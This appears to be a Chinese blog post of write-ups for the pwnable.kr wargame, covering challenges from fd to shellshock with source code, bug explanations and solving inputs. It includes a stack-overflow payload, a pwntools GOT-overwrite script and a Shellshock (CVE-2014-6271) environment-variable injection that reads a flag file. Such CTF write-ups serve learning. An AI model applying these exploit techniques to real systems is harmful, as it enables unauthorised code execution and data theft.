pwnable.kr 刷题记录

本文最后更新于:2025年6月25日 上午

环境配置

使用ssh连接到远程shell

1
ssh [email protected] -p2222 (pw:guest)

使用scp将远程文件传输到本地

1
2
3
4
 - Use a specific port when connecting to the remote host:
scp -P {{port}} {{path/to/local_file}} {{remote_host}}:{{path/to/remote_file}}

scp -P 2222 [email protected]:/home/username/* .

使用pwntools远程连接到服务器并运行程序

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

from pwn import *

ssh = ssh(host='pwnable.kr',user='',password='',port=)
sh=ssh.process('./xxx')
elf=ELF('./xxx')

sh.recv()

payload=

sh.sendline(payload)

fd

看一下fd程序的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;

}

atoi( argv[1] ) - 0x1234为fd,在其中读取32字节的字符串,之后与LETMEWIN比较,即可得到flag

1
2
3
$ ./fd 4660
LETMEWIN
good job :)

collision

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ cat col.c
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}

int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}

if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}

我们要输入20个字节,每四个字节(五个数字)会被当做int类型加在一起,也即是$4*5=20$。这五个数字的和必须满足是0x21DD09EC,才能得到flag

打开python,做一下加减乘除

$0x21DD09EC=568134124/5=113626824.8$

$568134124-4*113626824=113626828$

1
2
hex(113626824)='0x6c5cec8'
hex(113626828)='0x6c5cecc'

所以我们构造4个’0x6c5cec8’和一个0x6c5cecc就行了

由于小端序,我们需要将字节序列翻转一下

由于会出现不可见字符,我们很难把它们打印出来,因此可以使用python2的命令行脚本

1
./col `python -c 'print "\xc8\xce\xc5\x06" * 4 + "\xcc\xce\xc5\x06"'`

bof

看一下源码,发现是一个简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

看一下保护

1
2
3
4
5
6
7
$ pwn checksec code/bof
[*] '/home/philo/code/bof'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

func函数只有一个参数key,这里传入的是0xdeadbeef,如果我们将这个参数改为0xcafebabe,那么就会触发system(“/bin/sh”)

算一下偏移

1
char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF

payload=b'a'*(0x2c+8)+p32(0xcafebabe)

flag

看一下保护

1
2
3
4
5
6
7
8
9
> pwn checksec ./flag
[*] '/home/philo/code/flag'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX

加了upx壳,源莱氏,有bear来

脱个壳

1
2
3
4
5
6
7
8
9
10
11
12
$ sudo apt install upx

$ upx -d flag
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018

File size Ratio Format Name
-------------------- ------ ----------- -----------
883745 <- 335288 37.94% linux/amd64 flag

Unpacked 1 file.

再看一下保护

1
2
3
4
5
6
7
> pwn checksec ./flag
[*] '/home/philo/code/flag'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

这里把flagcopy到了dest

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *dest; // [rsp+8h] [rbp-8h]

puts("I will malloc() and strcpy the flag there. take it.", argv, envp);
dest = (char *)malloc(100LL);
strcpy(dest, flag);
return 0;
}

看一下flag的引用

1
2
3
4
5
6
.data:00000000006C2070 flag            dq offset aUpxSoundsLikeA
.data:00000000006C2070 ; DATA XREF: main+20↑r
.data:00000000006C2070 ; "UPX...? sounds like a delivery service "...

.rodata:0000000000496628 aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0
.rodata:0000000000496628 ; DATA XREF: .data:flag↓o

一目了然了

passcode

这个题倒是比较有意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>

void login(){
int passcode1;
int passcode2;

printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);

// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);

printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}

void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}

int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");

welcome();
login();

// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}

scanf("%100s", name);语句将输入的字符串写到name数组里面,由于welcome函数调用完之后会回收栈空间,但是栈空间内的数据不会被清理,因此我们可以通过写入的字符串的值影响login函数的栈的内存。此外,两个栈的esp都是相同的

注意到login函数内的scanf("%d", passcode1);语句

一般来说,正确的语句应该是scanf("%d", &passcode1);,这样的话,会将我们输入的值写到passcode1的地址对应的内存中

由于scanf("%d", passcode1);少了一个&符号,因此我们输入的值会写到passcode1的内容对应的内存中

比如说,passcode1的值为0xaaaabbbbccccdddd,那么0xaaaabbbbccccdddd地址处的值会被改写为我们输入的数据

使用ida计算偏移

  • name是ebp-70h
  • passcode1是ebp-10h

因此name往上0x60处便是passcode1的起始处

payload=b'a'*(0x60)+p32(elf.got['fflush'])将passcode1的值改写为fflush函数的got表的值,这样我们就可以通过输入改写fflush的got表

找到返回地址0x080485E3

1
2
3
4
.text:080485E3                 mov     dword ptr [esp], offset command ; "/bin/cat flag"
.text:080485EA call _system
.text:080485EF leave
.text:080485F0 retn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3

from pwn import *

ssh = ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
sh=ssh.process('./passcode')
elf=ELF('./passcode')

sh.recv()

payload=b'a'*(0x60)+p32(elf.got['fflush'])

sh.sendline(payload)

sh.recv()

sh.sendline(str(0x080485E3))
sleep(0.5)
sh.interactive()

random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>

int main(){
unsigned int random;
random = rand(); // random value!

unsigned int key=0;
scanf("%d", &key);

if( (key ^ random) == 0xdeadbeef ){
printf("Good!\n");
system("/bin/cat flag");
return 0;
}

printf("Wrong, maybe you should try 2^32 cases.\n");
return 0;
}

查看一下手册:

1
2
3
4
5
6
7
8
9
10
DESCRIPTION
The rand() function returns a pseudo-random integer in the range 0 to RAND_MAX inclusive
(i.e., the mathematical range [0, RAND_MAX]).

The srand() function sets its argument as the seed for a new sequence of pseudo-random inte‐
gers to be returned by rand(). These sequences are repeatable by calling srand() with the
same seed value.

If no seed value is provided, the rand() function is automatically seeded with a value of 1.

所以不调用srand,直接调用rand相当于把种子值设置为1,也就是说每次的rand值都是一样的

$key == 0xdeadbeef$,因此$key=0xdeadbeef ⊕ random$

mistake

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
int i;
for(i=0; i<len; i++){
s[i] ^= XORKEY;
}
}

int main(int argc, char* argv[]){

int fd;
if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){//仔细看一下这一行
printf("can't open password %d\n", fd);
return 0;
}

printf("do not bruteforce...\n");
sleep(time(0)%20);

char pw_buf[PW_LEN+1];
int len;
if(!(len=read(fd,pw_buf,PW_LEN) > 0)){//从标准输入读取内容到pw_buf
printf("read error\n");
close(fd);
return 0;
}

char pw_buf2[PW_LEN+1];
printf("input password : ");
scanf("%10s", pw_buf2);

// xor your input
xor(pw_buf2, 10);

if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
printf("Password OK\n");
system("/bin/cat flag\n");
}
else{
printf("Wrong Password\n");
}

close(fd);
return 0;
}

注意看if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0),这里先是执行open("/home/mistake/password",O_RDONLY,0400) < 0,由于open的返回值是打开的文件描述符,会大于0,因此此表达式的值为0,也即是说,fd被赋值为0

之后会

  • 从标准输入读取内容到pw_buf
  • 从标准输入读取内容到pw_buf2
  • 将pw_buf2逐个字节与1进行异或

如果异或后的结果与pw_buf相同,则输出flag

第一次输入10个1,第二次输入10个0,那么10个0会分别与1进行异或,得到1,从而输出flag

shellshock

1
2
3
4
5
6
7
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}

这个程序开了个bash

1
2
3
4
5
shellshock@pwnable:~$  foo='() { echo "wdnmd"; } ;/bin/cat ~/flag;'
shellshock@pwnable:~$ export foo
shellshock@pwnable:~$ ./shellshock
only if I knew CVE-2014-6271 ten years ago..!!
Segmentation fault (core dumped)

原理:bash开子进程的时候,会将环境变量错误解释为函数,并执行。参考:https://github.com/LaPhilosophie/seedlab/tree/main/shellshock

有些题和pwn无关,kr暂时到此为止了


pwnable.kr 刷题记录
http://gls.show/p/f57f952b/
作者
郭佳明
发布于
1970年1月1日
许可协议